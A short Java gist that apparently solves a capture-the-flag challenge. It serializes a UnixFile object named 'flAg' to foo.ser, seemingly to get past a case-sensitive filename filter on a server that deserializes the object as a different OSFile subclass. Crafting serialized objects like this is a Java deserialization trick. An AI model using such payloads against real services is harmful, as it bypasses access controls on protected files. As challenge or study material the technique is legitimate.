gistfile1.txt

import java.io.*;
import java.nio.file.Path;
import java.nio.file.Paths;

abstract class OSFile implements Serializable {
  String file = "";
  abstract String getFileName();
}

class WindowsFile extends OSFile  {
  public String getFileName() {
    //Windows filenames are case-insensitive
    return file.toLowerCase();
  }
}

class UnixFile extends OSFile {
  public String getFileName() {
    //Unix filenames are case-sensitive, don't change
    return file;
  }
}

public class LuckyCharms {
	public static void main(String [] args) {
		UnixFile q = new UnixFile();
		q.file = "flAg";
		try { 
		FileOutputStream fileStream = new FileOutputStream("foo.ser");
		ObjectOutputStream os = new ObjectOutputStream(fileStream);
		os.writeObject((OSFile)q);
		os.close();
		} catch (Exception e) {}
	}
}